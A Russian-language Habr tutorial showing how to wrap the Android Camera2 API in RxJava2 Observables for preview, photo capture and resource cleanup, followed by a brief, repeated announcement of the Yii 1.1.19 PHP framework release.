Для кого этот пост? Я рассчитываю, что читатель – умудрённый опытом, но всё ещё любознательный Android-разработчик. Очень желательны базовые знания о реактивном программировании (хорошее введение – здесь) и понимание Marble Diagrams. Пост будет полезен тем, кто хочет проникнуться реактивным подходом, а также тем, кто хочет использовать Camera2 API в своих проектах. Предупреждаю, будет много кода!


Исходники проекта можно найти на GitHub.


Подготовка проекта


Добавим сторонние зависимости в наш проект.


Retrolambda


При работе с RxJava совершенно необходима поддержка лямбд – иначе код будет выглядеть просто ужасно. Так что если вы ещё не перешли на Android Studio 3.0, добавим Retrolambda в наш проект.


buildscript {
     dependencies {
      classpath 'me.tatarka:gradle-retrolambda:3.6.0'
   }
}

apply plugin: 'me.tatarka.retrolambda'

Теперь можно поднять версию языка до 8, что обеспечит поддержку лямбд.


android {
  compileOptions {
    sourceCompatibility JavaVersion.VERSION_1_8
    targetCompatibility JavaVersion.VERSION_1_8
  }
}

Полные инструкции.


RxJava2


compile "io.reactivex.rxjava2:rxjava:2.1.0"

Актуальную версию, полные инструкции и документацию ищите тут.


RxAndroid


Полезная библиотека при использовании RxJava на Android. В основном используется ради AndroidSchedulers. Репозиторий.


compile 'io.reactivex.rxjava2:rxandroid:2.0.1'

Camera2 API


В своё время я участвовал в code review модуля, написанного с использованием Camera1 API, и был неприятно удивлён неизбежными в силу дизайна API concurrency issues. Видимо, в Google тоже осознали проблему и задепрекейтили первую версию API. Взамен предлагается использовать Camera2 API. Вторая версия доступна на Android Lollipop и новее.


Давайте же на него посмотрим.


Первые впечатления


Google проделал хорошую работу над ошибками в плане организации потоков. Все операции выполняются асинхронно, уведомляя о результатах через колбеки. Причём, передавая соответствующий Handler, можно выбрать поток, в котором будут вызываться методы колбеков.


Референсная имплементация


Google предлагает пример приложения Camera2Basic.


Это довольно наивная реализация, но помогает начать разбираться с API. Посмотрим, сможем ли мы сделать более изящное решение, используя реактивный подход.


Шаги для получения снимка


Если кратко, то последовательность действий для получения снимка такова:


  • выбрать устройство,
  • открыть устройство,
  • открыть сессию,
  • запустить превью,
  • по нажатию на кнопку сделать снимок,
  • закрыть сессию,
  • закрыть устройство.

Выбор устройства


Прежде всего нам понадобится CameraManager.


mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);

Этот класс позволяет получать информацию о существующих в системе камерах и подключаться к ним. Камер может быть несколько, в смартфонах обычно их две: фронтальная и тыловая.


Получаем список камер.


String[] cameraIdList = mCameraManager.getCameraIdList();

Вот так сурово – просто список строковых айдишников.


Теперь получим список характеристик для каждой камеры.


for (String cameraId : cameraIdList) {
            CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(cameraId);
...
}

CameraCharacteristics содержит огромное количество ключей, по которым можно получать информацию о камере.


Чаще всего на этапе выбора камеры смотрят на то, куда направлена камера. Для этого необходимо получить значение по ключу CameraCharacteristics.LENS_FACING.


Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);

Камера может быть фронтальной (CameraCharacteristics.LENS_FACING_FRONT), тыловой (CameraCharacteristics.LENS_FACING_BACK) или подключаемой (CameraCharacteristics.LENS_FACING_EXTERNAL).


Функция выбора камеры с предпочтением по ориентации может выглядеть примерно так:


       @Nullable
    private static String getCameraWithFacing(@NonNull CameraManager manager, int lensFacing) throws CameraAccessException {
        String possibleCandidate = null;
        String[] cameraIdList = manager.getCameraIdList();
        if (cameraIdList.length == 0) {
            return null;
        }
        for (String cameraId : cameraIdList) {
            CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId);

            StreamConfigurationMap map = characteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
            if (map == null) {
                continue;
            }

            Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);
            if (facing != null && facing == lensFacing) {
                return cameraId;
            }

            //just in case device don't have any camera with given facing
            possibleCandidate = cameraId;
        }
        if (possibleCandidate != null) {
            return possibleCandidate;
        }
        return cameraIdList[0];
    }

Отлично, теперь у нас есть id камеры нужной ориентации (или любой другой, если нужной не нашлось). Пока всё довольно просто, никаких асинхронных действий.


Создаем Observable


Мы подходим к асинхронным методам API. Каждый из них мы превратим в Observable с помощью метода create.


openCamera


Устройство перед использованием нужно открыть с помощью метода CameraManager.openCamera.


void openCamera (String cameraId, 
                CameraDevice.StateCallback callback, 
                Handler handler)

В этот метод передаём id выбранной камеры, колбек для получения асинхронного результата и Handler, если мы хотим, чтобы методы колбека вызывались в потоке этого Handler.


Вот мы и столкнулись с первым асинхронным методом. Оно и понятно, ведь инициализация устройства – длительный и дорогой процесс.


Давайте взглянем на CameraDevice.StateCallback.



В реактивном мире эти методы будут соответствовать событиям. Давайте сделаем Observable, который будет генерировать события, когда API камеры будет вызывать onOpened, onClosed, onDisconnected. Чтобы мы могли различать эти события, создадим enum:


public enum DeviceStateEvents {
        ON_OPENED,
        ON_CLOSED,
        ON_DISCONNECTED
    }

А чтобы в реактивном потоке (тут и далее я буду называть реактивным потоком последовательность реактивных операторов – не путать со Thread) была возможность что-то сделать с устройством, мы добавим в генерируемое событие ссылку на CameraDevice. Самый простой способ – генерировать Pair. Для создания Observable воспользуемся методом create (напомню, мы используем RxJava2, так что теперь нам совсем не стыдно это делать).


Вот сигнатура метода create:


public static  Observable create(ObservableOnSubscribe source)

То есть нам нужно передать в него объект, реализующий интерфейс ObservableOnSubscribe. Этот интерфейс содержит всего один метод


void subscribe(@NonNull ObservableEmitter e) throws Exception;

который вызывается каждый раз, когда Observer подписывается (subscribe) на наш Observable.


Посмотрим, что такое ObservableEmitter.


public interface ObservableEmitter extends Emitter {
    void setDisposable(@Nullable Disposable d);
    void setCancellable(@Nullable Cancellable c);
    boolean isDisposed();
    ObservableEmitter serialize();
}

Уже хорошо. С помощью методов setDisposable/setCancellable можно задать действие, которое будет выполнено, когда от нашего Observable отпишутся. Это крайне полезно, если при создании Observable мы открывали ресурс, который надо закрывать. Мы могли бы создать Disposable, в котором закрывать устройство при unsubscribe, но мы хотим реагировать на событие onClosed, поэтому делать этого не будем.


Метод isDisposed позволяет проверять, подписан ли кто-то ещё на наш Observable.


Заметим, что ObservableEmitter расширяет интерфейс Emitter.


public interface Emitter {
    void onNext(@NonNull T value);
    void onError(@NonNull Throwable error);
    void onComplete();
}

Вот эти методы нам и нужны! Мы будем вызывать onNext каждый раз, когда Camera API будет вызывать колбеки интерфейса CameraDevice.StateCallback onOpened / onClosed / onDisconnected; и мы будем вызывать onError, когда Camera API будет вызывать колбек onError.


Итак, применим наши знания. Mетод, создающий Observable, может выглядеть так (ради читабельности я убрал проверки на isDisposed(), полный код со скучными проверками смотрите на GitHub):


public static Observable> openCamera(
        @NonNull String cameraId,
        @NonNull CameraManager cameraManager
    ) {
        return Observable.create(observableEmitter -> {
               cameraManager.openCamera(cameraId, new CameraDevice.StateCallback() {
                @Override
                public void onOpened(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_OPENED, cameraDevice));
                }

                @Override
                public void onClosed(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_CLOSED, cameraDevice));
                        observableEmitter.onComplete();
                }

                @Override
                public void onDisconnected(@NonNull CameraDevice cameraDevice) {
                        observableEmitter.onNext(new Pair<>(DeviceStateEvents.ON_DISCONNECTED, cameraDevice));
                        observableEmitter.onComplete();
                }

                @Override
                public void onError(@NonNull CameraDevice camera, int error) {
                        observableEmitter.onError(new OpenCameraException(OpenCameraException.Reason.getReason(error)));
                }
            }, null);
        });
    }

Супер! Мы только что стали чуть более реактивными!


Как я уже говорил, все методы Camera2 API принимают Handler как один из параметров. Передавая null, мы будем получать вызовы колбеков в текущем потоке. В нашем случае это поток, в котором был вызван subscribe, то есть Main Thread.


createCaptureSession


Теперь, когда у нас есть CameraDevice, можно открыть CaptureSession. Не будем медлить!


Для этого воспользуемся методом CameraDevice.createCaptureSession. Вот его сигнатура:


public abstract void createCaptureSession(@NonNull List outputs,
            @NonNull CameraCaptureSession.StateCallback callback, @Nullable Handler handler)
            throws CameraAccessException;

На вход подаётся список Surface (где его взять, разберёмся чуть позже) и CameraCaptureSession.StateCallback. Давайте посмотрим, какие в нём есть методы.



Богато! Но мы уже знаем, как побеждать колбеки. Создадим Observable, который будет генерировать события, когда Camera API будет вызывать эти методы. Чтобы их различать, создадим enum.


    public enum CaptureSessionStateEvents {
        ON_CONFIGURED,
        ON_READY,
        ON_ACTIVE,
        ON_CLOSED,
        ON_SURFACE_PREPARED
    }

А чтобы в реактивном потоке был объект CameraCaptureSession, будем генерировать не просто CaptureSessionStateEvent, а Pair. Вот как может выглядеть код метода, создающего такой Observable (проверки снова убраны для читабельности):


   @NonNull
    public static Observable> createCaptureSession(
        @NonNull CameraDevice cameraDevice,
        @NonNull List surfaceList
    ) {
        return Observable.create(observableEmitter -> {
            cameraDevice.createCaptureSession(surfaceList, new CameraCaptureSession.StateCallback() {

                @Override
                public void onConfigured(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_CONFIGURED, session));
                  }

                @Override
                public void onConfigureFailed(@NonNull CameraCaptureSession session) {
                        observableEmitter.onError(new CreateCaptureSessionException(session));
                }

                @Override
                public void onReady(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_READY, session));
                }

                @Override
                public void onActive(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_ACTIVE, session));
                }

                @Override
                public void onClosed(@NonNull CameraCaptureSession session) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_CLOSED, session));
                        observableEmitter.onComplete();
                }

                @Override
                public void onSurfacePrepared(@NonNull CameraCaptureSession session, @NonNull Surface surface) {
                        observableEmitter.onNext(new Pair<>(CaptureSessionStateEvents.ON_SURFACE_PREPARED, session));
                }
            }, null);
        });
    }

setRepeatingRequest


Для того чтобы на экране появилась живая картинка с камеры, необходимо постоянно получать новые изображения с устройства и передавать их для отображения. Для этого в API есть удобный метод CameraCaptureSession.setRepeatingRequest.


int setRepeatingRequest(@NonNull CaptureRequest request,
            @Nullable CaptureCallback listener, @Nullable Handler handler)
            throws CameraAccessException;

Применяем уже знакомый нам приём, чтобы сделать эту операцию реактивной. Смотрим на интерфейс CameraCaptureSession.CaptureCallback.



Опять же, мы хотим различать генерируемые события и для этого создадим enum.


public enum CaptureSessionEvents {
        ON_STARTED,
        ON_PROGRESSED,
        ON_COMPLETED,
        ON_SEQUENCE_COMPLETED,
        ON_SEQUENCE_ABORTED
    }

Мы видим, что в методы передаётся достаточно много информации, которую мы хотим иметь в реактивном потоке, в том числе CameraCaptureSession, CaptureRequest, CaptureResult, поэтому просто Pair<> нам уже не подойдёт – создадим POJO:


  public static class CaptureSessionData {
        final CaptureSessionEvents event;
        final CameraCaptureSession session;
        final CaptureRequest request;
        final CaptureResult result;

        CaptureSessionData(CaptureSessionEvents event, CameraCaptureSession session, CaptureRequest request, CaptureResult result) {
            this.event = event;
            this.session = session;
            this.request = request;
            this.result = result;
        }
    }

Создание CameraCaptureSession.CaptureCallback вынесем в отдельный метод.


       @NonNull
    private static CameraCaptureSession.CaptureCallback createCaptureCallback(final ObservableEmitter observableEmitter) {
        return new CameraCaptureSession.CaptureCallback() {

            @Override
            public void onCaptureStarted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, long timestamp, long frameNumber) {
            }

            @Override
            public void onCaptureProgressed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureResult partialResult) {
            }

            @Override
            public void onCaptureCompleted(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull TotalCaptureResult result) {
                if (!observableEmitter.isDisposed()) {
                    observableEmitter.onNext(new CaptureSessionData(CaptureSessionEvents.ON_COMPLETED, session, request, result));
                }
            }

            @Override
            public void onCaptureFailed(@NonNull CameraCaptureSession session, @NonNull CaptureRequest request, @NonNull CaptureFailure failure) {
                if (!observableEmitter.isDisposed()) {
                    observableEmitter.onError(new CameraCaptureFailedException(failure));
                }
            }

            @Override
            public void onCaptureSequenceCompleted(@NonNull CameraCaptureSession session, int sequenceId, long frameNumber) {
            }

            @Override
            public void onCaptureSequenceAborted(@NonNull CameraCaptureSession session, int sequenceId) {
            }
        };
    }

Из всех этих сообщений нам интересны onCaptureCompleted/onCaptureFailed, остальные события игнорируем. Если они понадобятся вам в ваших проектах, их несложно добавить.


Теперь всё готово для создания Observable.


    static Observable fromSetRepeatingRequest(@NonNull CameraCaptureSession captureSession, @NonNull CaptureRequest request) {
        return Observable
            .create(observableEmitter -> captureSession.setRepeatingRequest(request, createCaptureCallback(observableEmitter), null));
    }

capture


На самом деле, этот шаг полностью аналогичен предыдущему, только мы делаем не повторяющийся запрос, а единичный. Для этого воспользуемся методом CameraCaptureSession.capture.


    public abstract int capture(@NonNull CaptureRequest request,
            @Nullable CaptureCallback listener, @Nullable Handler handler)
            throws CameraAccessException;

Он принимает точно такие же параметры, так что мы сможем использовать функцию, определённую выше, для создания CaptureCallback.


    static Observable fromCapture(@NonNull CameraCaptureSession captureSession, @NonNull CaptureRequest request) {
        return Observable
            .create(observableEmitter -> captureSession.capture(request, createCaptureCallback(observableEmitter), null));
    }

Подготовка Surface


Cameara2 API позволяет в запросе передавать список Surface, которые будут использованы для записи данных с устройства. Нам потребуются два Surface:


  • для отображения preview на экране,
  • для записи снимка в JPEG-файл.

TextureView


Для отображения preview на экране мы воспользуемся TextureView. Для того чтобы получить Surface из TextureView, предлагается воспользоваться методом TextureView.setSurfaceTextureListener.
TextureView уведомит listener, когда Surface будет готов к использованию.


Давайте на этот раз создадим PublishSubject, который будет генерировать события, когда TextureView вызывает методы listener.


private final PublishSubject mOnSurfaceTextureAvailable = PublishSubject.create();

@Override
public void onCreate(@Nullable Bundle saveState){

    mTextureView.setSurfaceTextureListener(new TextureView.SurfaceTextureListener(){
        @Override
        public void onSurfaceTextureAvailable(SurfaceTexture surface,int width,int height){
           mOnSurfaceTextureAvailable.onNext(surface);
        }
    });
    ...
}

Используя PublishSubject, мы избегаем возможных проблем с множественным subscribe. Мы устанавливаем SurfaceTextureListener один раз в onCreate и дальше живём спокойно. PublishSubject позволяет подписываться на него сколько угодно раз и раздает события всем подписавшимся.



При использовании Camera2 API существует тонкость, связанная с невозможностью явно задать размер изображения, – камера сама выбирает одно из поддерживаемых ею разрешений на основании размеров, переданных ей Surface. Поэтому придётся пойти на такой трюк: выясняем список поддерживаемых камерой размеров изображения, выбираем наиболее приглянувшийся и затем устанавливаем размер буфера в точности таким же.


private void setupSurface(@NonNull SurfaceTexture surfaceTexture) {
    surfaceTexture.setDefaultBufferSize(mCameraParams.previewSize.getWidth(), mCameraParams.previewSize.getHeight());
    mSurface = new Surface(surfaceTexture);
}

При этом, если мы хотим видеть изображение с сохранением пропорций, необходимо задать нужные пропорции нашему TextureView. Для этого мы его расширим и переопределим метод onMeasure:


public class AutoFitTextureView extends TextureView {

    private int mRatioWidth = 0;
    private int mRatioHeight = 0;
...

    public void setAspectRatio(int width, int height) {
        mRatioWidth = width;
        mRatioHeight = height;
        requestLayout();
    }

    @Override
    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
        int width = MeasureSpec.getSize(widthMeasureSpec);
        int height = MeasureSpec.getSize(heightMeasureSpec);
        if (0 == mRatioWidth || 0 == mRatioHeight) {
            setMeasuredDimension(width, height);
        } else {
            if (width < height * mRatioWidth / mRatioHeight) {
                setMeasuredDimension(width, width * mRatioHeight / mRatioWidth);
            } else {
                setMeasuredDimension(height * mRatioWidth / mRatioHeight, height);
            }
        }
    }
}

Запись в файл


Для того чтобы сохранить изображение из Surface в файл, воспользуемся классом ImageReader.
Несколько слов о выборе размера для ImageReader. Во-первых, мы должны выбрать его из поддерживаемых камерой. Во-вторых, соотношение сторон должно совпадать с тем, что мы выбрали для preview.


Чтобы мы могли получать уведомления от ImageReader о готовности изображения, воспользуемся методом setOnImageAvailableListener


void setOnImageAvailableListener (ImageReader.OnImageAvailableListener listener, Handler handler)

Передаваемый listener реализует всего один метод onImageAvailable.
Каждый раз, когда Camera API будет записывать изображение в Surface, предоставленную нашим ImageReader, он будет вызывать этот колбек.


Сделаем эту операцию реактивной: создадим Observable, который будет генерировать сообщение каждый раз, когда ImageReader будет готов предоставить изображение.


@NonNull
public static Observable createOnImageAvailableObservable(@NonNull ImageReader imageReader) {
    return Observable.create(subscriber -> {

        ImageReader.OnImageAvailableListener listener = reader -> {
            if (!subscriber.isDisposed()) {
                subscriber.onNext(reader);
            }
        };
        imageReader.setOnImageAvailableListener(listener, null);
        subscriber.setCancellable(() -> imageReader.setOnImageAvailableListener(null, null)); //remove listener on unsubscribe
    });
}

Обратите внимание, тут мы воспользовались методом ObservableEmitter.setCancellable, чтобы удалять listener, когда от Observable отписываются.


Запись в файл – длительная операция, сделаем её реактивной с помощью метода fromCallable.


@NonNull
public static Single save(@NonNull Image image, @NonNull File file) {
    return Single.fromCallable(() -> {
        try (FileChannel output = new FileOutputStream(file).getChannel()) {
            output.write(image.getPlanes()[0].getBuffer());
            return file;
        }
        finally {
            image.close();
        }
    });
}

Теперь мы можем задать такую последовательность действий: когда в ImageReader появляется готовое изображение, мы записываем его в файл в рабочем потоке Schedulers.io(), затем переключаемся в UI thread и уведомляем UI о готовности файла.


private void initImageReader() {
    Size sizeForImageReader = CameraStrategy.getStillImageSize(mCameraParams.cameraCharacteristics, mCameraParams.previewSize);
    mImageReader = ImageReader.newInstance(sizeForImageReader.getWidth(), sizeForImageReader.getHeight(), ImageFormat.JPEG, 1);
    mCompositeDisposable.add(
        ImageSaverRxWrapper.createOnImageAvailableObservable(mImageReader)
            .observeOn(Schedulers.io())
            .flatMap(imageReader -> ImageSaverRxWrapper.save(imageReader.acquireLatestImage(), mFile).toObservable())
            .observeOn(AndroidSchedulers.mainThread())
            .subscribe(file -> mCallback.onPhotoTaken(file.getAbsolutePath(), getLensFacingPhotoType()))
    );
}

Запускаем preview


Итак, мы основательно подготовились. Мы уже можем создавать Observable для основных асинхронных действий, которые требуются для работы приложения. Впереди самое интересное – конфигурирование реактивных потоков.


Для разминки давайте сделаем так, чтобы камера открывалась после того, как SurfaceTexture готов к использованию.


        Observable> cameraDeviceObservable = mOnSurfaceTextureAvailable
            .firstElement()
.doAfterSuccess(this::setupSurface)
.doAfterSuccess(__ -> initImageReader())
            .toObservable()
            .flatMap(__ -> CameraRxWrapper.openCamera(mCameraParams.cameraId, mCameraManager))
            .share();

Ключевым оператором здесь выступает flatMap.



В нашем случае при получении события о готовности SurfaceTexture он выполнит функцию openCamera и пустит события от созданного ей Observable дальше в реактивный поток.


Важно также понять, зачем в конце цепочки используется оператор share. Он эквивалентен цепочке операторов publish().refCount().



Если долго смотреть на эту Marble Diagram, то можно заметить, что результат весьма похож на результат использования PublishSubject. Действительно, мы решаем похожую проблему: если на наш Observable подпишутся несколько раз, мы не хотим каждый раз открывать камеру заново.


Для удобства давайте введём ещё пару Observable.


        Observable openCameraObservable = cameraDeviceObservable
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_OPENED)
            .map(pair -> pair.second)
            .share();

        Observable closeCameraObservable = cameraDeviceObservable
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_CLOSED)
            .map(pair -> pair.second)
            .share();

openCameraObservable будет генерировать события, когда камера будет успешно открыта, а closeCameraObservable – когда она будет закрыта.


Сделаем ещё один шаг: после успешного открытия камеры откроем сессию.


        Observable> createCaptureSessionObservable = openCameraObservable
            .flatMap(cameraDevice -> CameraRxWrapper
                .createCaptureSession(cameraDevice, Arrays.asList(mSurface, mImageReader.getSurface()))
            )
            .share();

И по аналогии создадим ещё пару Observable, сигнализирующих об успешном открытии или закрытии сессии.


        Observable captureSessionConfiguredObservable = createCaptureSessionObservable
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CONFIGURED)
            .map(pair -> pair.second)
            .share();

        Observable captureSessionClosedObservable = createCaptureSessionObservable
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CLOSED)
            .map(pair -> pair.second)
            .share();

Наконец, мы можем задать повторяющийся запрос для отображения preview.


        Observable previewObservable = captureSessionConfiguredObservable
            .flatMap(cameraCaptureSession -> {
                CaptureRequest.Builder previewBuilder = createPreviewBuilder(cameraCaptureSession, mSurface);
                return CameraRxWrapper.fromSetRepeatingRequest(cameraCaptureSession, previewBuilder.build());
            })
            .share();

Теперь достаточно выполнить previewObservable.subscribe() — и на экране появится живая картинка с камеры!


Небольшое отступление. Если схлопнуть все промежуточные Observable, то получится вот такая цепочка операторов:


        mOnSurfaceTextureAvailable
            .firstElement()
            .doAfterSuccess(this::setupSurface)
            .toObservable()
            .flatMap(__ -> CameraRxWrapper.openCamera(mCameraParams.cameraId, mCameraManager))
            .filter(pair -> pair.first == CameraRxWrapper.DeviceStateEvents.ON_OPENED)
            .map(pair -> pair.second)
            .flatMap(cameraDevice -> CameraRxWrapper
                .createCaptureSession(cameraDevice, Arrays.asList(mSurface, mImageReader.getSurface()))
            )
            .filter(pair -> pair.first == CameraRxWrapper.CaptureSessionStateEvents.ON_CONFIGURED)
            .map(pair -> pair.second)
            .flatMap(cameraCaptureSession -> {
                CaptureRequest.Builder previewBuilder = createPreviewBuilder(cameraCaptureSession, mSurface);
                return CameraRxWrapper.fromSetRepeatingRequest(cameraCaptureSession, previewBuilder.build());
            })
            .subscribe();

И этого достаточно для показа preview. Впечатляет, не так ли?


На самом деле, у этого решения есть проблемы с закрытием ресурсов, да и снимки пока делать нельзя. Я привёл его, чтобы была видна цепочка целиком. Все промежуточные Observable понадобятся нам при составлении более сложных сценариев поведения в будущем.


Для того чтобы у нас была возможность отписаться, необходимо сохранять возвращаемое методом subscribe Disposable. Удобнее всего пользоваться CompositeDisposable.


private final CompositeDisposable mCompositeDisposable = new CompositeDisposable();

    private void unsubscribe() {
        mCompositeDisposable.clear();
    }

В реальном коде я везде делаю mCompositeDisposable.add(...subscribe()), но сейчас я эти вызовы опускаю, чтобы вам было легче читать.


Как составлять запросы CaptureRequest


Внимательный читатель, конечно, уже заметил, что мы использовали метод createPreviewBuilder, который ещё не описывался. Давайте же посмотрим, что у него внутри.


 @NonNull
    CaptureRequest.Builder createPreviewBuilder(CameraCaptureSession captureSession, Surface previewSurface) throws CameraAccessException {
        CaptureRequest.Builder builder = captureSession.getDevice().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
        builder.addTarget(previewSurface);
        setup3Auto(builder);
        return builder;
    }

Здесь мы пользуемся любезно предоставленным нам шаблоном запроса для preview, добавляем в него нашу Surface и говорим, что хотим Auto Focus, Auto Exposure и Auto White Balance (три A). Чтобы этого добиться, достаточно установить несколько флагов.


    private void setup3Auto(CaptureRequest.Builder builder) {
        // Enable auto-magical 3A run by camera device
        builder.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO);

        Float minFocusDist = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);

        // If MINIMUM_FOCUS_DISTANCE is 0, lens is fixed-focus and we need to skip the AF run.
        boolean noAFRun = (minFocusDist == null || minFocusDist == 0);

        if (!noAFRun) {
            // If there is a "continuous picture" mode available, use it, otherwise default to AUTO.
            int[] afModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AF_AVAILABLE_MODES);
            if (contains(afModes, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE)) {
                builder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE);
            }
            else {
                builder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_AUTO);
            }
        }

        // If there is an auto-magical flash control mode available, use it, otherwise default to
        // the "on" mode, which is guaranteed to always be available.
        int[] aeModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AE_AVAILABLE_MODES);
        if (contains(aeModes, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH)) {
            builder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH);
        }
        else {
            builder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
        }

        // If there is an auto-magical white balance control mode available, use it.
        int[] awbModes = mCameraParams.cameraCharacteristics.get(CameraCharacteristics.CONTROL_AWB_AVAILABLE_MODES);
        if (contains(awbModes, CaptureRequest.CONTROL_AWB_MODE_AUTO)) {
            // Allow AWB to run auto-magically if this device supports this
            builder.set(CaptureRequest.CONTROL_AWB_MODE, CaptureRequest.CONTROL_AWB_MODE_AUTO);
        }
    }

Делаем снимок


Для того чтобы получать события по нажатиям кнопок, можно воспользоваться прекрасной библиотекой RxBinding, но мы сделаем проще.


private final PublishSubject mOnShutterClick = PublishSubject.create();

    public void takePhoto() {
        mOnShutterClick.onNext(this);
    }

Теперь набросаем план действий. Прежде всего мы хотим делать снимок тогда, когда уже начался preview (это значит, что всё готово для снимка). Для этого воспользуемся оператором combineLatest.


Observable.combineLatest(previewObservable, mOnShutterClick, (captureSessionData, o) -> captureSessionData)

Но он будет генерировать события постоянно при получении свежих событий от previewObservable, поэтому ограничимся первым событием.


                .firstElement().toObservable()

Дождёмся, пока сработают автофокус и автоэкспозиция.


                .flatMap(this::waitForAf)
                .flatMap(this::waitForAe)

И, наконец, сделаем снимок.


.flatMap(captureSessionData -> captureStillPicture(captureSessionData.session))

Цепочка операторов целиком выглядит так:


            Observable.combineLatest(previewObservable, mOnShutterClick, (captureSessionData, o) -> captureSessionData)
                .firstElement().toObservable()
                .flatMap(this::waitForAf)
                .flatMap(this::waitForAe)
                .flatMap(captureSessionData -> captureStillPicture(captureSessionData.session))
                .subscribe(__ -> {
                }, this::onError)

Посмотрим, что внутри captureStillPicture.


    @NonNull
    private Observable captureStillPicture(@NonNull CameraCaptureSession cameraCaptureSession) {
        return Observable
            .fromCallable(() -> createStillPictureBuilder(cameraCaptureSession.getDevice()))
            .flatMap(builder -> CameraRxWrapper.fromCapture(cameraCaptureSession, builder.build()));
    }

Здесь нам всё уже довольно знакомо: создаём запрос, запускаем capture – и ждём результат. Запрос конструируется из шаблона STILL_PICTURE, в него добавляется Surface для записи в файл, а также несколько волшебных флагов, сообщающих камере, что это ответственный запрос для сохранения изображения. Также задаётся информация о том, как ориентировать изображение в JPEG.


    @NonNull
    private CaptureRequest.Builder createStillPictureBuilder(@NonNull CameraDevice cameraDevice) throws CameraAccessException {
        final CaptureRequest.Builder builder;
        builder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
        builder.set(CaptureRequest.CONTROL_CAPTURE_INTENT, CaptureRequest.CONTROL_CAPTURE_INTENT_STILL_CAPTURE);
        builder.set(CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER, CameraMetadata.CONTROL_AE_PRECAPTURE_TRIGGER_IDLE);
        builder.addTarget(mImageReader.getSurface());
        setup3Auto(builder);

        int rotation = mWindowManager.getDefaultDisplay().getRotation();
        builder.set(CaptureRequest.JPEG_ORIENTATION, CameraOrientationHelper.getJpegOrientation(mCameraParams.cameraCharacteristics, rotation));
        return builder;
    }

Закрываем ресурсы


Хорошие приложения всегда закрывают ресурсы, особенно такие дорогие, как камера. Давайте тоже по событию onPause будем всё закрывать.


       Observable.combineLatest(previewObservable, mOnPauseSubject, (state, o) -> state)
            .firstElement().toObservable()
            .doOnNext(captureSessionData -> captureSessionData.session.close())
            .flatMap(__ -> captureSessionClosedObservable)
            .doOnNext(cameraCaptureSession -> cameraCaptureSession.getDevice().close())
            .flatMap(__ -> closeCameraObservable)
            .doOnNext(__ -> closeImageReader())
            .subscribe(__ -> unsubscribe(), this::onError);

Здесь мы поочерёдно закрываем сессию и устройство, дожидаясь подтверждения от API.


Выводы


Мы создали приложение, которое умеет показывать живую картинку preview и делать снимки. То есть получили вполне рабочее приложение камеры. Нераскрытыми остались вопросы ожидания срабатывания автофокуса и автовыбора экспозиции и выбора ориентации файла. Ответы на них обязательно появятся в следующей части.


С появлением RxJava разработчики получили в свои руки могучий инструмент по обузданию асинхронных API. Используя его грамотно, можно избежать Callback Hell и получить чистый, легко читаемый и расширяемый код. Делитесь вашими мыслями в комментариях!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330080/


Метки:  

Yii 1.1.19

Четверг, 08 Июня 2017 г. 12:27 + в цитатник

Команда PHP-фреймворка Yii выпустила версию 1.1.19. Получить её можно либо через Composer, либо архивом со страницы.


Данная версия является релизом ветки Yii 1.1, которая достигла EOL и получает только исправления безопасности и поддержки PHP 7.


Релизы, такие как этот, позволяют обновить PHP на серверах с Yii 1.1 и, тем самым, обновиться на поддерживаемые командой PHP-версии.


Yii 1.1.19 совместим с PHP 7.1, патчи безопасности на который будут выходить до 1 декабря 2019.


Мы рекомендуем использовать Yii 2.0 как для новых проектов, так и для новых разработок в рамках старых проектов на Yii 1.1. Как это сделать описано в официальном руководстве. Полный переход на Yii 2.0, в большинстве случаев, означает полное переписывание кода. Совместное использование версий позволяет сделать этот переход постепенным и менее ощутимым для бюджета.


Данная версия исправляет несовместимости с PHP 7 и улучшает безопасность.


Полный список изменений доступен в CHANGELOG.
Инструкции по обновлению читайте в UPGRADE.


Спасибо всем, кто участвует в разработке фреймворка.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/330498/


Метки:  

Yii 1.1.19

Четверг, 08 Июня 2017 г. 12:27 + в цитатник

